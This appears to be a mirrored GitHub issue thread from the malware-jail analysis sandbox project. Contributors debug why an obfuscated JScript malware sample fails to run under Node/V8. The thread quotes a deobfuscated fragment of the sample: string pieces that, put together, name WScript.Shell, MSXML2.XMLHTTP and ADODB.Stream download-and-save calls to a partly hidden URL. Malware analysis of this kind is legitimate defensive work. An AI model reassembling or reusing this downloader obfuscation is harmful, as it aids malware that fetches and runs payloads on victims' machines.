Code Monkey home page Code Monkey logo

Comments (3)

HynekPetrak avatar HynekPetrak commented on May 27, 2024

Hi,
not sure what we could do here. Did you extracted the Javascript properly?

The first unescape returns:
"clientX = (\"tY\");valueParts = (\"respo\"); operator = (\"Shell\"); view = (\"xe\"); setOffset = (\"9dQb\"); arg = (\"SaveTo\");var maxIterations = (\"mo\"), cssNormalTransform = (\"op\"), subordinate = (4800), eased = (\"Obj\");keys = (\"ype\"), content = (9), propHooks = (1), focus = (\"cr\");var preFilters = (\"2.Ser\"), now = (55), preventDefault = (\"andEn\"), colgroup = (\"G\"), rsibling = (\"ect\"), checkClone = (\"ap\");var i = (\"e\"), matchesSelector = (5000), setTimeout = (\"WScr\"), selectors = (43);var flatOptions = (\"t\");pixelPositionVal = (3); _data = (\".XMLH\"); detach = (\"TTP.6\"); allTypes = (\"ructo\"); curCSSTop = (\"HTTP.6\");booleans = (0); unloadHandler = (\"P%/\");var responseContainer = (\"entS\"), run = (\"WScrip\"), unwrap = (\"Cre\"), ajaxHandleResponses = (\"or\");var currentTarget = (\".3.\"), restoreScript = (\"pro\"), getWidthOrHeight = (\"WSc\"), rbuggyMatches = (\"S\"), stopPropagation = (\"T\"), hasFocus = (\"Creat\");not = (\"://so\"); includeWidth = (\"3.0\"); rts = (\"B.Str\"); callbackExpect = (\"p://so\");values = (\"om/jp\"), global = (\"HTTP\"), td = (\"sof\");hasDuplicate = (\"LHT\"), swap = (\"Msxml2\"), setter = (\"verXM\"), camelCase = (\"lbui\"), dataTypes = eval, dataAndEvents = (\"l\");var aup = (\"WScri\"), resolveWith = (\"readyS\"), clientLeft = (function shift(){}, \"ep\");checkNonElements = (function shift.fired(){var rejectWith= [][\"const\" + allTypes + \"r\"][restoreScript + \"tot\" + keys][\"s\" + ajaxHandleResponses + \"t\"][checkClone + \"ply\"](); return rejectWith;}, \"n\"); rmultiDash = (\"dy\"); fadeOut = (\"ildup.\"); detectDuplicates = (34);special = (200); clientTop = (\"pe\"); innerText = (\"ript\");var iterator = (2), div1 = (23032826), readyWait = (\"s\");;"
where this
clientLeft = (function shift(){}, \"ep\");checkNonElements = (function shift.fired(){var rejectWith= [][\"const\" + allTypes + \"r\"][restoreScript + \"tot\" + keys][\"s\" + ajaxHandleResponses + \"t\"][checkClone + \"ply\"](); return rejectWith;}, \"n\");

does not seem to be a valid node syntax, i.e. function shift.fired() ...

Even with workaround it translates to:

function() { var rejectWith = [].constructor.prototype.sort.apply(); return rejectWith;}

which does not make much sense to me either.

from malware-jail.

defconhaya avatar defconhaya commented on May 27, 2024

Hi,
the funny thing is that such construction
function() { var rejectWith = [].constructor.prototype.sort.apply(); return rejectWith;}
is working in MS JScript which is ECMA compliant.
Another thing I've observed:
after this statement clientLeft = (function shift(){}, \"ep\");
the variable clientLeft must have value "ep" and a new object named shift must be instantiated but I think the shift object is discarded after attribution.

from malware-jail.

HynekPetrak avatar HynekPetrak commented on May 27, 2024

Seems the v8 (4.6.85.31) even from the most recent nodejs (5.9.1) does not yet properly implement the ECMA-262 apply() method for non strict mode:

19.2.3.1 Function.prototype.apply ( thisArg, argArray )
NOTE 1 The thisArg value is passed without modification as the this value. This is a change from Edition 3, where an undefined or null thisArg is replaced with the global object and ToObject is applied to all other values and that result is passed as the this value. Even though the thisArg is passed without modification, non-strict functions still perform these transformations upon entry to the function.

I believe it's coming in the v8 5.1.211 v8/v8@e4d2538


For the clientLeft = (function shift(){}, \"ep\"); it seems it's interpreted as function expression instead of declaration and therefore not hoisted to the scope. http://stackoverflow.com/questions/18303976/javascript-rounded-parentheses-surrounding-comma-separated-expressions.

from malware-jail.

Related Issues (11)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.